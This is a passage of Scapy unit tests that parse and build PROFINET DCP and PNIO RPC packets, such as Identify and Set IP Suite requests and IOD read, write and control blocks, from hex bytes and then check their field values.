b'\\xc0\\xa8\\x01\\x0e\\xff\\xff\\xff\\x00\\xc0\\xa8\\x01\\x0e')\n\n# General\nassert p[ProfinetIO].frameID == 0xfeff\nassert p[ProfinetDCP].service_id == 0x05\nassert p[ProfinetDCP].service_type == 0x01\nassert p[ProfinetDCP].xid == 0x1000001\nassert p[ProfinetDCP].reserved == 0x00\nassert p[ProfinetDCP].dcp_data_length == 0x4e\n\n# - DCPDeviceOptionsBlock\nassert p[DCPDeviceOptionsBlock].option == 0x02\nassert p[DCPDeviceOptionsBlock].sub_option == 0x05\nassert p[DCPDeviceOptionsBlock].dcp_block_length == 0x04\nassert p[DCPDeviceOptionsBlock].block_info == 0x00\n\n# -- DeviceOption\nassert p[DeviceOption].option == 0x02\nassert p[DeviceOption].sub_option == 0x07\n\n# - DCPManufacturerSpecificBlock\nassert p[DCPManufacturerSpecificBlock].option == 0x02\nassert p[DCPManufacturerSpecificBlock].sub_option == 0x01\nassert p[DCPManufacturerSpecificBlock].dcp_block_length == 0x09\nassert p[DCPManufacturerSpecificBlock].block_info == 0x00\nassert p[DCPManufacturerSpecificBlock].device_vendor_value == b'ET200SP'\n\n# - DCPNameOfStationBlock\nassert p[DCPNameOfStationBlock].option == 0x02\nassert p[DCPNameOfStationBlock].sub_option == 0x02\nassert p[DCPNameOfStationBlock].dcp_block_length == 0x08\nassert p[DCPNameOfStationBlock].block_info == 0x00\nassert p[DCPNameOfStationBlock].name_of_station == b'device'\n\n# - DCPDeviceIDBlock\nassert p[DCPDeviceIDBlock].option == 0x02\nassert p[DCPDeviceIDBlock].sub_option == 0x03\nassert p[DCPDeviceIDBlock].dcp_block_length == 0x06\nassert p[DCPDeviceIDBlock].block_info == 0x00\nassert p[DCPDeviceIDBlock].vendor_id == 0x002a\nassert p[DCPDeviceIDBlock].device_id == 0x0313\n\n# - DCPDeviceRoleBlock\nassert p[DCPDeviceRoleBlock].option == 0x02\nassert p[DCPDeviceRoleBlock].sub_option == 0x04\nassert p[DCPDeviceRoleBlock].dcp_block_length == 0x04\nassert p[DCPDeviceRoleBlock].block_info == 0x00\nassert p[DCPDeviceRoleBlock].device_role_details == 0x01\n\n# - DCPDeviceInstanceBlock\nassert p[DCPDeviceInstanceBlock].option == 0x02\nassert p[DCPDeviceInstanceBlock].sub_option == 0x07\nassert p[DCPDeviceInstanceBlock].dcp_block_length == 0x04\nassert p[DCPDeviceInstanceBlock].block_info == 0x00\nassert p[DCPDeviceInstanceBlock].device_instance_high == 0x00\nassert p[DCPDeviceInstanceBlock].device_instance_low == 0x01\n\n# - DCPIPBlock\nassert p[DCPIPBlock].option == 0x01\nassert p[DCPIPBlock].sub_option == 0x02\nassert p[DCPIPBlock].dcp_block_length == 0x0e\nassert p[DCPIPBlock].block_info == 0x01\nassert p[DCPIPBlock].ip == \"192.168.1.14\"\nassert p[DCPIPBlock].netmask == \"255.255.255.0\"\nassert p[DCPIPBlock].gateway == \"192.168.1.14\"\n\n= DCP Identify Response parsing with new DCP packages (DCPOEMIDBlock, DCPDeviceInitiativeBlock)\n\np = Ether(b'\\x01\\x0e\\xcf\\x00\\x00\\x00\\x01\\x23\\x45\\x67\\x89\\xab\\x88\\x92' \\\n    b'\\xfe\\xff\\x05\\x01\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x7a\\x02\\x02\\x00\\x02\\x00' \\\n    b'\\x00\\x01\\x02\\x00\\x0e\\x00\\x01\\xc0\\xa8\\x01\\x0b\\xff\\xff\\xff\\x00\\x00\\x00' \\\n    b'\\x00\\x00\\x02\\x03\\x00\\x06\\x00\\x00\\x01\\x6a\\x04\\x00\\x02\\x05\\x00\\x16\\x00' \\\n    b'\\x00\\x01\\x01\\x01\\x02\\x02\\x01\\x02\\x02\\x02\\x03\\x02\\x04\\x02\\x05\\x02\\x07' \\\n    b'\\x02\\x08\\x06\\x01\\x02\\x04\\x00\\x04\\x00\\x00\\x01\\x00\\x06\\x01\\x00\\x04\\x00' \\\n    b'\\x00\\x00\\x00\\x02\\x01\\x00\\x18\\x00\\x00\\x31\\x32\\x33\\x34\\x20\\x44\\x44\\x44' \n    b'\\x20\\x33\\x58\\x58\\x32\\x2d\\x31\\x32\\x31\\x2d\\x30\\x46\\x44\\x44\\x02\\x07\\x00' \\\n    b'\\x04\\x00\\x00\\x00\\x01\\x02\\x08\\x00\\x06\\x00\\x00\\x01\\x1e\\xff\\xff')\n\n# - General\nassert p[Ether].dst == '01:0e:cf:00:00:00'\nassert p[Ether].src == '01:23:45:67:89:ab'\nassert p[Ether].type == 0x8892\nassert p[ProfinetIO].frameID == 0xFEFF\nassert p[ProfinetDCP].service_id == 0x05\nassert p[ProfinetDCP].service_type == 0x01\nassert p[ProfinetDCP].xid == 0x1000001\nassert p[ProfinetDCP].reserved == 0x00\nassert p[ProfinetDCP].dcp_data_length == 122\nassert list(map(lambda x: type(x), p[ProfinetDCP].dcp_blocks)) == [DCPNameOfStationBlock, DCPIPBlock, DCPDeviceIDBlock, DCPDeviceOptionsBlock, DCPDeviceRoleBlock, DCPDeviceInitiativeBlock, DCPManufacturerSpecificBlock, DCPDeviceInstanceBlock, DCPOEMIDBlock]\n\n# - DCPNameOfStationBlock\nassert p[DCPNameOfStationBlock].option == 0x02\nassert p[DCPNameOfStationBlock].sub_option == 0x02\n\n# - DCPIPBlock\nassert p[DCPIPBlock].option == 0x01\nassert p[DCPIPBlock].sub_option == 0x02\nassert p[DCPIPBlock].dcp_block_length == 0x0E\nassert p[DCPIPBlock].ip == '192.168.1.11'\nassert p[DCPIPBlock].netmask == '255.255.255.0'\nassert p[DCPIPBlock].gateway == '0.0.0.0'\n\n# - DCPDeviceInitiativeBlock\nassert p[DCPDeviceInitiativeBlock].option == 0x06\nassert p[DCPDeviceInitiativeBlock].sub_option == 0x01\nassert p[DCPDeviceInitiativeBlock].dcp_block_length == 0x04\nassert p[DCPDeviceInitiativeBlock].device_initiative == 0x0000\n\n# - DCPManufacturerSpecificBlock\nassert p[DCPManufacturerSpecificBlock].option == 0x02\nassert p[DCPManufacturerSpecificBlock].sub_option == 0x01\nassert p[DCPManufacturerSpecificBlock].device_vendor_value == b'1234 DDD 3XX2-121-0FDD'\n\n# - DCPOEMIDBlock\nassert p[DCPOEMIDBlock].option == 0x02\nassert p[DCPOEMIDBlock].sub_option == 0x08\nassert p[DCPOEMIDBlock].dcp_block_length == 0x06\nassert p[DCPOEMIDBlock].vendor_id == 0x011e\nassert p[DCPOEMIDBlock].device_id == 0xffff\n\n= DCP Set Request parsing\n\np = Ether(b'\\x94\\x65\\x9c\\x51\\x90\\x7d\\xac\\x64\\x17\\x21\\x35\\xcf\\x81\\x00\\x00\\x00' \\\n      b'\\x88\\x92\\xfe\\xfd\\x04\\x01\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x08\\x05\\x04' \\\n      b'\\x00\\x03\\x02\\x02\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00' \\\n      b'\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00')\n\nassert p[ProfinetIO].frameID == 0xfefd\nassert p[ProfinetDCP].service_id == 0x04\nassert p[ProfinetDCP].service_type == 0x01\nassert p[ProfinetDCP].xid == 0x0000001\nassert p[ProfinetDCP].reserved == 0x00\nassert p[ProfinetDCP].dcp_data_length == 0x08\n\nassert p[DCPControlBlock].option == 0x05\nassert p[DCPControlBlock].sub_option == 0x04\nassert p[DCPControlBlock].dcp_block_length == 0x03\nassert p[DCPControlBlock].response == 0x02\nassert p[DCPControlBlock].response_sub_option == 0x02\nassert p[DCPControlBlock].block_error == 0x00\n\n\n= DCP Set Full IP Suite Request parsing\n\np = Ether(b'\\x12\\x34\\x00\\x78\\x90\\xab\\xc8\\x5b\\x76\\xe6\\x89\\xdf' \\\n      b'\\x88\\x92\\xfe\\xfd\\x04\\x00\\x00\\x00\\x00\\x04\\x00\\x00' \\\n      b'\\x00\\x28\\x01\\x03\\x00\\x1e\\x00\\x00\\xc0\\xa8\\x01\\xab' \\\n      b'\\xff\\xff\\xff\\x00\\xc0\\xa8\\x01\\x01\\x01\\x02\\x03\\x04' \\\n      b'\\x05\\x06\\x07\\x08\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00')\n\nassert p[ProfinetIO].frameID == 0xfefd\nassert p[ProfinetDCP].service_id == 0x04\nassert p[ProfinetDCP].service_type == 0x00\nassert p[ProfinetDCP].xid == 0x0000004\nassert p[ProfinetDCP].reserved == 0x00\nassert p[ProfinetDCP].dcp_data_length == 40\nassert p[ProfinetDCP].option == 0x01\nassert p[ProfinetDCP].sub_option == 0x03\nassert p[ProfinetDCP].ip == \"192.168.1.171\"\nassert p[ProfinetDCP].netmask == \"255.255.255.0\"\nassert p[ProfinetDCP].gateway == \"192.168.1.1\"\nassert p[ProfinetDCP].dnsaddr[0] == \"1.2.3.4\"\nassert p[ProfinetDCP].dnsaddr[1] == \"5.6.7.8\"\nassert p[ProfinetDCP].dnsaddr[2] == \"0.0.0.0\"\nassert p[ProfinetDCP].dnsaddr[3] == \"0.0.0.0\"\n\n\n= DCP Identify All Request crafting\n\n# dcp_data_length cannot be calculated automatically at this time\np = ProfinetIO(frameID=DCP_IDENTIFY_REQUEST_FRAME_ID) / ProfinetDCP(service_id=DCP_SERVICE_ID_IDENTIFY, service_type=DCP_REQUEST, option=255, sub_option=255, dcp_data_length=4)\n\nassert p[ProfinetIO].frameID == 0xfefe\nassert p[ProfinetDCP].service_id == 0x05\nassert p[ProfinetDCP].service_type == 0x00\nassert p[ProfinetDCP].xid == 0x1000001\nassert p[ProfinetDCP].reserved == 0x00\nassert p[ProfinetDCP].dcp_data_length == 0x04\nassert p[ProfinetDCP].option == 0xff\nassert p[ProfinetDCP].sub_option == 0xff\nassert p[ProfinetDCP].dcp_block_length == 0x00\n\n\n= DCP Set Name Request with specified name crafting\n\np = ProfinetIO(frameID=DCP_GET_SET_FRAME_ID) / ProfinetDCP ( service_id=DCP_SERVICE_ID_SET, service_type=DCP_REQUEST, option=2, sub_option=2, name_of_station=\"device\", dcp_block_length=8, dcp_data_length=12)\n\nassert p[ProfinetIO].frameID == 0xfefd\nassert p[ProfinetDCP].service_id == 0x04\nassert p[ProfinetDCP].service_type == 0x00\nassert p[ProfinetDCP].xid == 0x1000001\nassert p[ProfinetDCP].reserved == 0x00\nassert p[ProfinetDCP].dcp_data_length == 0x0c\nassert p[ProfinetDCP].option == 0x02\nassert p[ProfinetDCP].sub_option == 0x02\nassert p[ProfinetDCP].dcp_block_length == 0x08\nassert p[ProfinetDCP].block_qualifier == 0x0001\n\n\n= DCP Identify Response crafting\n\np = ProfinetIO(frameID=DCP_IDENTIFY_RESPONSE_FRAME_ID) / ProfinetDCP(service_id=DCP_SERVICE_ID_IDENTIFY, service_type=DCP_RESPONSE, dcp_data_length=12) / DCPNameOfStationBlock(name_of_station=\"device\", dcp_block_length=8)\n\nassert p[ProfinetIO].frameID == 0xfeff\nassert p[ProfinetDCP].service_id == 0x05\nassert p[ProfinetDCP].service_type == 0x01\nassert p[ProfinetDCP].xid == 0x1000001\nassert p[ProfinetDCP].reserved == 0x00\nassert p[ProfinetDCP].dcp_data_length == 0x0c\nassert p[DCPNameOfStationBlock].option == 0x02\nassert p[DCPNameOfStationBlock].sub_option == 0x02\nassert p[DCPNameOfStationBlock].dcp_block_length == 0x08\nassert p[DCPNameOfStationBlock].block_info == 0x00\nassert p[DCPNameOfStationBlock].name_of_station == b'device'\n\n\n= DCP Set Full IP Suite Request crafting\n\np = ProfinetIO(frameID=DCP_GET_SET_FRAME_ID) / ProfinetDCP(service_id=DCP_SERVICE_ID_SET, service_type=DCP_REQUEST, option=1, sub_option=3, ip='192.168.1.171', netmask='255.255.255.0', gateway='192.168.1.1', dnsaddr=['1.2.3.4', '5.6.7.8'], dcp_data_length=40, dcp_block_length=30)\n\nassert p[ProfinetIO].frameID == 0xfefd\nassert p[ProfinetDCP].service_id == 0x04\nassert p[ProfinetDCP].service_type == 0x00\nassert p[ProfinetDCP].xid == 0x1000001\nassert p[ProfinetDCP].reserved == 0x00\nassert p[ProfinetDCP].dcp_data_length == 40\nassert p[ProfinetDCP].option == 0x01\nassert p[ProfinetDCP].sub_option == 0x03\nassert p[ProfinetDCP].ip == \"192.168.1.171\"\nassert p[ProfinetDCP].netmask == \"255.255.255.0\"\nassert p[ProfinetDCP].gateway == \"192.168.1.1\"\nassert p[ProfinetDCP].dnsaddr[0] == \"1.2.3.4\"\nassert p[ProfinetDCP].dnsaddr[1] == \"5.6.7.8\"\n\n\nconf.debug_dissector = old_conf_dissector\n"
  },
  {
    "path": "test/contrib/pnio_rpc.uts",
    "content": "% PNIO RPC layer test campaign\n\n+ Syntax check\n= Import the PNIO RPC layer\nfrom scapy.layers.dcerpc import *\nfrom scapy.contrib.pnio import *\nfrom scapy.contrib.pnio_rpc import *\n\n= Check that we have UUIDs\n\nfor v in RPC_INTERFACE_UUID.values():\n    assert isinstance(v, UUID)\n\n+ Check Block\n\n= Block default values\nbytes(Block()) == bytearray.fromhex('000000020100')\n\n= Block basic example\nbytes(Block(load=b'\\x01\\x02\\x03')) == bytearray.fromhex('000000050100010203')\n\n= Block has no payload (only padding)\np = Block(bytearray.fromhex('000000050100010203040506'))\np == Block(block_length=5, load=b'\\x01\\x02\\x03') / conf.padding_layer(b'\\x04\\x05\\x06')\n\n\n####################################################################\n####################################################################\n\n+ Check IODControlReq\n\n= IODControlReq default values\nbytes(IODControlReq()) == bytearray.fromhex('0000001c01000000000000000000000000000000000000000000000000000000')\n\n= IODControlReq basic example (IODControlReq PrmEnd control)\nbytes(IODControlReq(ARUUID='01234567-89ab-cdef-0123-456789abcdef', SessionKey=2, ControlCommand_PrmEnd=1)) == bytearray.fromhex('0110001c010000000123456789abcdef0123456789abcdef0002000000010000')\n\n= IODControlReq dissection\np = IODControlReq(bytearray.fromhex('0118001c010000000123456789abcdef0123456789abcdef0005000000400000ef'))\np == IODControlReq(ARUUID='01234567-89ab-cdef-0123-456789abcdef', SessionKey=5, ControlCommand_PrmBegin=1, block_type='IODBlockReq_connect_begin', block_length=28, padding=b'\\0\\0') / conf.padding_layer(b'\\xef')\n\n= IODControlReq response\np = p.get_response()\np == IODControlRes(ARUUID='01234567-89ab-cdef-0123-456789abcdef', SessionKey=5, block_type='IODBlockRes_connect_begin')\n\n####################################################################\n\n+ Check IODControlRes\n\n= IODControlRes default values\nbytes(IODControlRes()) == bytearray.fromhex('8110001c01000000000000000000000000000000000000000000000000080000')\n\n= IODControlRes basic example (IODControlRes PrmEnd control)\nbytes(IODControlRes(ARUUID='01234567-89ab-cdef-0123-456789abcdef', SessionKey=2, block_type='IODBlockRes_connect_end')) == bytearray.fromhex('8110001c010000000123456789abcdef0123456789abcdef0002000000080000')\n\n= IODControlRes dissection\np = IODControlRes(bytearray.fromhex('8118001c010000000123456789abcdef0123456789abcdef0005000000080000ef'))\np == IODControlRes(ARUUID='01234567-89ab-cdef-0123-456789abcdef', SessionKey=5, block_type='IODBlockRes_connect_begin', block_length=28, padding=b'\\0\\0') / conf.padding_layer(b'\\xef')\n\n\n####################################################################\n####################################################################\n\n+ Check IODWriteReq\n\n= IODWriteReq default values\nbytes(IODWriteReq()) == bytearray.fromhex('0008003c010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000')\n\n= IODWriteReq basic example\nbytes(IODWriteReq(\n  ARUUID='01234567-89ab-cdef-0123-456789abcdef', seqNum=1, API=1, slotNumber=2, subslotNumber=3,\n  index=0x4321\n  ) / b'\\xab\\xcd'\n  ) == bytearray.fromhex('0008003c010000010123456789abcdef0123456789abcdef00000001000200030000432100000002000000000000000000000000000000000000000000000000abcd')\n\n= IODWriteReq dissection\np = IODWriteReq(bytearray.fromhex('0008003c010000010123456789abcdef0123456789abcdef00000001000200030000432100000002000000000000000000000000000000000000000000000000abcdef'))\np == IODWriteReq(ARUUID='01234567-89ab-cdef-0123-456789abcdef', seqNum=1, API=1, slotNumber=2, subslotNumber=3,\n  index=0x4321, block_length=60, recordDataLength=2, padding='\\0\\0', RWPadding=b'\\0'*24\n  ) / b'\\xab\\xcd' / conf.padding_layer(b'\\xef')\n\n= IODWriteReq response\np = p.get_response()\np == IODWriteRes(ARUUID='01234567-89ab-cdef-0123-456789abcdef', seqNum=1, API=1, slotNumber=2, subslotNumber=3,\n  index=0x4321)\n\n####################################################################\n\n+ Check IODWriteRes\n\n= IODWriteRes default values\nbytes(IODWriteRes()) == bytearray.fromhex('8008003c010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000')\n\n= IODWriteRes basic example\nbytes(IODWriteRes(\n  ARUUID='01234567-89ab-cdef-0123-456789abcdef', seqNum=1, API=1, slotNumber=2, subslotNumber=3,\n  index=0x4321\n  )) == bytearray.fromhex('8008003c010000010123456789abcdef0123456789abcdef00000001000200030000432100000000000000000000000000000000000000000000000000000000')\n\n= IODWriteRes dissection\np = IODWriteRes(bytearray.fromhex('8008003c010000010123456789abcdef0123456789abcdef00000001000200030000432100000000000000000000000000000000000000000000000000000000ef'))\np == IODWriteRes(ARUUID='01234567-89ab-cdef-0123-456789abcdef', seqNum=1, API=1, slotNumber=2, subslotNumber=3,\n  index=0x4321, recordDataLength=0, block_length=60, padding=b'\\0\\0', RWPadding=b'\\0'*16\n  ) / conf.padding_layer(b'\\xef')\n\n\n####################################################################\n####################################################################\n\n+ Check IODWriteMultipleReq\n\n#########\n= IODWriteMultipleReq default values\nbytes(IODWriteMultipleReq()) == bytearray.fromhex('0008003c0100000000000000000000000000000000000000ffffffffffffffff0000e04000000000000000000000000000000000000000000000000000000000')\n\n#########\n= IODWriteMultipleReq basic example\nbytes(IODWriteMultipleReq(ARUUID='01234567-89ab-cdef-0123-456789abcdef', blocks=[\n  IODWriteReq(\n    ARUUID='01234567-89ab-cdef-0123-456789abcdef', seqNum=1, API=1, slotNumber=2, subslotNumber=3,\n    index=0x4321\n    ) / b'\\xab\\xcd',\n  IODWriteReq(\n    ARUUID='01234567-89ab-cdef-0123-456789abcdef', seqNum=2, API=2, slotNumber=3, subslotNumber=4,\n    index=0x1234\n    ) / b'\\x01\\x02',\n  ])\n  ) == bytearray.fromhex('0008003c010000000123456789abcdef0123456789abcdefffffffffffffffff0000e04000000086000000000000000000000000000000000000000000000000') + \\\n       bytearray.fromhex('0008003c010000010123456789abcdef0123456789abcdef00000001000200030000432100000002000000000000000000000000000000000000000000000000abcd') + b'\\0\\0' + \\\n       bytearray.fromhex('0008003c010000020123456789abcdef0123456789abcdef000000020003000400001234000000020000000000000000000000000000000000000000000000000102')\n\n#########\n= IODWriteMultipleReq dissection\np = IODWriteMultipleReq(\n  bytearray.fromhex('0008003c010000000123456789abcdef0123456789abcdefffffffffffffffff0000e04000000086000000000000000000000000000000000000000000000000') + \\\n  bytearray.fromhex('0008003c010000010123456789abcdef0123456789abcdef00000001000200030000432100000002000000000000000000000000000000000000000000000000abcd') + b'\\0\\0' + \\\n  bytearray.fromhex('0008003c010000020123456789abcdef0123456789abcdef000000020003000400001234000000020000000000000000000000000000000000000000000000000102') + b'\\xef'\n  )\np == IODWriteMultipleReq(ARUUID='01234567-89ab-cdef-0123-456789abcdef', recordDataLength=0x86,\n  padding=b'\\0'*2, RWPadding=b'\\0'*24, block_length=60, blocks=[\n    IODWriteReq(\n      ARUUID='01234567-89ab-cdef-0123-456789abcdef', seqNum=1, API=1, slotNumber=2, subslotNumber=3,\n      index=0x4321, recordDataLength=2, padding=b'\\0'*2, RWPadding=b'\\0'*24, block_length=60\n      ) / b'\\xab\\xcd',\n    IODWriteReq(\n      ARUUID='01234567-89ab-cdef-0123-456789abcdef', seqNum=2, API=2, slotNumber=3, subslotNumber=4,\n      index=0x1234, recordDataLength=2, padding=b'\\0'*2, RWPadding=b'\\0'*24, block_length=60\n      ) / b'\\x01\\x02',\n    ]) / conf.padding_layer(b'\\xef')\n\n#########\n= IODWriteMultipleReq response\np = p.get_response()\np == IODWriteMultipleRes(ARUUID='01234567-89ab-cdef-0123-456789abcdef', blocks=[\n  IODWriteRes(\n    ARUUID='01234567-89ab-cdef-0123-456789abcdef', seqNum=1, API=1, slotNumber=2, subslotNumber=3,\n    index=0x4321\n    ),\n  IODWriteRes(\n    ARUUID='01234567-89ab-cdef-0123-456789abcdef', seqNum=2, API=2, slotNumber=3, subslotNumber=4,\n    index=0x1234\n    ),\n  ])\n\n\n####################################################################\n\n+ Check IODWriteMultipleRes\n\n= IODWriteMultipleRes default values\nbytes(IODWriteMultipleRes()) == bytearray.fromhex('8008003c0100000000000000000000000000000000000000ffffffffffffffff0000e04000000000000000000000000000000000000000000000000000000000')\n\n= IODWriteMultipleRes basic example\nbytes(IODWriteMultipleRes(ARUUID='01234567-89ab-cdef-0123-456789abcdef', blocks=[\n  IODWriteRes(\n    ARUUID='01234567-89ab-cdef-0123-456789abcdef', seqNum=1, API=1, slotNumber=2, subslotNumber=3,\n    index=0x4321\n    ),\n  IODWriteRes(\n    ARUUID='01234567-89ab-cdef-0123-456789abcdef', seqNum=2, API=2, slotNumber=3, subslotNumber=4,\n    index=0x1234\n    ),\n  ])\n  ) == bytearray.fromhex('8008003c010000000123456789abcdef0123456789abcdefffffffffffffffff0000e04000000080000000000000000000000000000000000000000000000000') + \\\n       bytearray.fromhex('8008003c010000010123456789abcdef0123456789abcdef00000001000200030000432100000000000000000000000000000000000000000000000000000000') + \\\n       bytearray.fromhex('8008003c010000020123456789abcdef0123456789abcdef00000002000300040000123400000000000000000000000000000000000000000000000000000000')\n\n= IODWriteMultipleRes dissection\np = IODWriteMultipleRes(\n  bytearray.fromhex('8008003c010000000123456789abcdef0123456789abcdefffffffffffffffff0000e04000000080000000000000000000000000000000000000000000000000') + \\\n  bytearray.fromhex('8008003c010000010123456789abcdef0123456789abcdef00000001000200030000432100000000000000000000000000000000000000000000000000000000') + \\\n  bytearray.fromhex('8008003c010000020123456789abcdef0123456789abcdef00000002000300040000123400000000000000000000000000000000000000000000000000000000') + b'\\xef'\n  )\np == IODWriteMultipleRes(ARUUID='01234567-89ab-cdef-0123-456789abcdef', recordDataLength=0x80,\n  padding=b'\\0'*2, RWPadding=b'\\0'*16, block_length=60, blocks=[\n    IODWriteRes(\n      ARUUID='01234567-89ab-cdef-0123-456789abcdef', seqNum=1, API=1, slotNumber=2, subslotNumber=3,\n      index=0x4321, recordDataLength=0, padding=b'\\0'*2, RWPadding=b'\\0'*16, block_length=60\n      ),\n    IODWriteRes(\n      ARUUID='01234567-89ab-cdef-0123-456789abcdef', seqNum=2, API=2, slotNumber=3, subslotNumber=4,\n      index=0x1234, recordDataLength=0, padding=b'\\0'*2, RWPadding=b'\\0'*16, block_length=60\n      ),\n    ]) / conf.padding_layer(b'\\xef')\n\n\n####################################################################\n\n+ Check IODReadReq\n\n= IODReadReq default values\nbytes(IODReadReq()) == bytearray.fromhex('0009003c010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000')\n\n= IODReadReq basic example\nbytes(IODReadReq(\n  ARUUID='01234567-89ab-cdef-0123-456789abcdef', seqNum=1, API=1, slotNumber=2, subslotNumber=3,\n  index=0x4321)\n  ) == bytearray.fromhex('0009003c010000010123456789abcdef0123456789abcdef00000001000200030000432100000000000000000000000000000000000000000000000000000000')\n\n= IODReadReq dissection\np = IODReadReq(bytearray.fromhex('0009003c010000010123456789abcdef0123456789abcdef00000001000200030000432100000002000000000000000000000000000000000000000000000000abcdef'))\np == IODReadReq(ARUUID='01234567-89ab-cdef-0123-456789abcdef', seqNum=1, API=1, slotNumber=2, subslotNumber=3,\n  index=0x4321, block_length=60, recordDataLength=2, padding='\\0\\0', RWPadding=b'\\0'*24\n  ) / b'\\xab\\xcd' / conf.padding_layer(b'\\xef')\n\n= IODReadReq response\np = p.get_response()\np == IODReadRes(ARUUID='01234567-89ab-cdef-0123-456789abcdef', seqNum=1, API=1, slotNumber=2, subslotNumber=3,\n  index=0x4321)\n\n\n####################################################################\n\n+ Check IODReadRes\n\n= IODReadRes default values\nbytes(IODReadRes()) == bytearray.fromhex('8009003c010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000')\n\n= IODReadRes basic example\nbytes(IODReadRes(\n    ARUUID='01234567-89ab-cdef-0123-456789abcdef', seqNum=1, API=1, slotNumber=2, subslotNumber=3,\n    index=0x4321)) == bytearray.fromhex('8009003c010000010123456789abcdef0123456789abcdef00000001000200030000432100000000000000000000000000000000000000000000000000000000')\n\n= IODReadRes dissection\n\np = IODReadRes(bytearray.fromhex('8009003c010000010123456789abcdef0123456789abcdef00000001000200030000432100000000000000000000000000000000000000000000000000000000ef'))\np == IODReadRes(\n    ARUUID='01234567-89ab-cdef-0123-456789abcdef', seqNum=1, API=1, slotNumber=2, subslotNumber=3,\n    index=0x4321, recordDataLength=0, block_length=60, padding=b'\\0\\0', RWPadding=b'\\0'*20\n    ) / conf.padding_layer(b'\\xef')\n\n\n####################################################################\n####################################################################\n\n+ Check I&M\n\n= IM0Block default values\nraw(IM0Block()) == bytearray.fromhex('002000380100000000000000000000000000000000000000000000000000000000000000000000000000000000005600000000000000000001010000')\n\n= IM0Block basic example\nraw(IM0Block(OrderID='foobar', IMSerialNumber='ABCDEF1234567890')) == bytearray.fromhex('0020003801000000666f6f62617200000000000000000000000000004142434445463132333435363738393000005600000000000000000001010000')\n\n= IM1Block default values\nraw(IM1Block()) == bytearray.fromhex('002100380100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000')\n\n= IM2Block default values\nraw(IM2Block()) == bytearray.fromhex('00220012010000000000000000000000000000000000')\n\n= IM3Block default values\nraw(IM3Block()) == bytearray.fromhex('002300380100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000')\n\n= IM4Block default values\nraw(IM4Block()) == bytearray.fromhex('002400380100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000')\n\n\n####################################################################\n####################################################################\n\n+ Check ARBlockReq\n\n= ARBlockReq default values\nbytes(ARBlockReq()) == bytearray.fromhex('0101003601000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000103e888920000')\n\n= ARBlockReq basic example\nbytes(ARBlockReq(\n  ARType='IOCARSingle', ARUUID='01234567-89ab-cdef-0123-456789abcdef', SessionKey=1,\n  CMInitiatorObjectUUID='dea00000-6c97-11d1-8271-010203040506', ARProperties_ParametrizationServer='CM_Initator',\n  CMInitiatorStationName='plc1')\n  ) == bytearray.fromhex('0101003a010000010123456789abcdef0123456789abcdef0001000000000000dea000006c9711d182710102030405060000001103e888920004') + b'plc1'\n\n= ARBlockReq dissection\np = ARBlockReq(bytearray.fromhex('0101003a010000010123456789abcdef0123456789abcdef0001010203040506dea000006c9711d182710102030405060000001103e888920004') + b'plc1' + b'\\xef')\np == ARBlockReq(\n  ARType='IOCARSingle', ARUUID='01234567-89ab-cdef-0123-456789abcdef', SessionKey=1,\n  CMInitiatorObjectUUID='dea00000-6c97-11d1-8271-010203040506', ARProperties_ParametrizationServer='CM_Initator',\n  CMInitiatorMacAdd='01:02:03:04:05:06', StationNameLength=4, CMInitiatorStationName='plc1', block_length=58\n  ) / conf.padding_layer(b'\\xef')\n\n= ARBlockReq response\np = p.get_response()\np == ARBlockRes(ARType='IOCARSingle', ARUUID='01234567-89ab-cdef-0123-456789abcdef', SessionKey=1)\n\n####################################################################\n\n+ Check ARBlockRes\n\n= ARBlockRes default values\nbytes(ARBlockRes()) == bytearray.fromhex('8101001e010000010000000000000000000000000000000000000000000000008892')\n\n= ARBlockRes basic example\nbytes(\n  ARBlockRes(ARType='IOCARSingle', ARUUID='01234567-89ab-cdef-0123-456789abcdef', SessionKey=1)\n  ) == bytearray.fromhex('8101001e010000010123456789abcdef0123456789abcdef00010000000000008892')\n\n= ARBlockRes dissection\np = ARBlockRes(bytearray.fromhex('8101001e010000010123456789abcdef0123456789abcdef00010102030405068892ef'))\np == ARBlockRes(\n  ARType='IOCARSingle', ARUUID='01234567-89ab-cdef-0123-456789abcdef', SessionKey=1,\n  CMResponderMacAdd='01:02:03:04:05:06', block_length=30) / conf.padding_layer(b'\\xef')\n\n\n####################################################################\n####################################################################\n\n+ Check IOCRBlockReq\n\n= IOCRBlockReq default values\nbytes(IOCRBlockReq()) == bytearray.fromhex('0102002a010000010001889200000000002880000020002000010000ffffffff000a000ac0000000000000000000')\n\n= IOCRAPI default values\nbytes(IOCRAPI()) == bytearray.fromhex('0000000000000000')\n\n= IOCRAPIObject default values\nbytes(IOCRAPIObject()) == bytearray.fromhex('000000000000')\n\n= IOCRBlockReq basic example\np = IOCRBlockReq(\n  IOCRType='OutputCR', IOCRReference=1, SendClockFactor=2,\n  ReductionRatio=32, DataLength=47, FrameID=0x8014,\n  APIs=[\n    IOCRAPI(\n      API=4,\n      IODataObjects=[\n        IOCRAPIObject(SlotNumber=2, SubslotNumber=1, FrameOffset=0),\n        IOCRAPIObject(SlotNumber=1, SubslotNumber=1, FrameOffset=9),\n        ]\n      ),\n    IOCRAPI(\n      API=0,\n      IODataObjects=[\n        IOCRAPIObject(SlotNumber=3, SubslotNumber=1, FrameOffset=15),\n        ],\n      IOCSs=[\n        IOCRAPIObject(SlotNumber=3, SubslotNumber=1, FrameOffset=4),\n        ],\n      ),\n    ]\n  )\nbytes(p) == \\\n  bytearray.fromhex('01020052010000020001889200000000002f80140002002000010000ffffffff000a000ac0000000000000000002' + \\\n    '0000000400020002000100000001000100090000' + \\\n    '00000000000100030001000f0001000300010004')\n\n= IOCRBlockReq dissection\np = IOCRBlockReq(\n  